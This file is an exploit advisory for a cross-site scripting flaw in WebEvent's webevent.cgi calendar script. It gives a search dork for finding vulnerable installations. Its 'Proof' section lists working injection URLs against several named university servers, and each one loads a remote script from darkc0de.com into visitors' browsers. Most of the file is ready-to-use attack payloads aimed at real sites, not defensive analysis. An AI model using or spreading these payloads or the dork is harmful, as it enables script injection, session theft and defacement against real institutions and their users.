webevent-xss.txt

`  
# Title : WebEvent(tm) webevent.cgi Cross-Site Scripting Vulnerability  
  
# Description : WebEvent(tm) is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.  
  
# Software : http://www.webevent.com/  
  
# Author : d3hydr8  
  
# Contact : d3hydr8[at]gmail[dot]com  
  
# Original Post : http://forum.darkc0de.com/index.php?action=vthread&forum=12&topic=184  
  
# Dork : intext:"Powered by WebEvent (tm)." inurl:"/webevent.cgi"  
  
# Greets : mozi, whoami, icqbomber  
  
#Proof :  
  
http://w4.eku.edu/cgi-bin/webevent/webevent.cgi?cmd=%22%3CSCRIPT+SRC=http://www.darkc0de.com/xss.js%3E%3C/SCRIPT%3E  
WebEvent 2.61  
  
http://calendar.purdue.edu/cgi-bin/webevent.cgi?cmd=%22%3CSCRIPT+SRC=http://www.darkc0de.com/xss.js%3E%3C/SCRIPT%3E  
WebEvent 2.7  
  
http://webcal.usf.edu/cgi-bin/webevent.cgi?cmd=%22%3CSCRIPT+SRC=http://www.darkc0de.com/xss.js%3E%3C/SCRIPT%3E  
WebEvent 2.71  
  
http://events.haas.berkeley.edu/webevent.cgi?cmd=%22%3CSCRIPT+SRC=http://www.darkc0de.com/xss.js%3E%3C/SCRIPT%3E  
WebEvent 2.72  
  
http://research.yale.edu/cgi-bin/mcdougal/publish2.72/webevent.cgi?cmd=%22%3CSCRIPT+SRC=http://www.darkc0de.com/xss.js%3E%3C/SCRIPT%3E  
WebEvent 2.72  
  
http://ic-server02.info-commons.uiowa.edu/cgi-bin/webevent.cgi?cmd=%22%3CSCRIPT+SRC=http://www.darkc0de.com/xss.js%3E%3C/SCRIPT%3E  
WebEvent 4.03  
  
  
`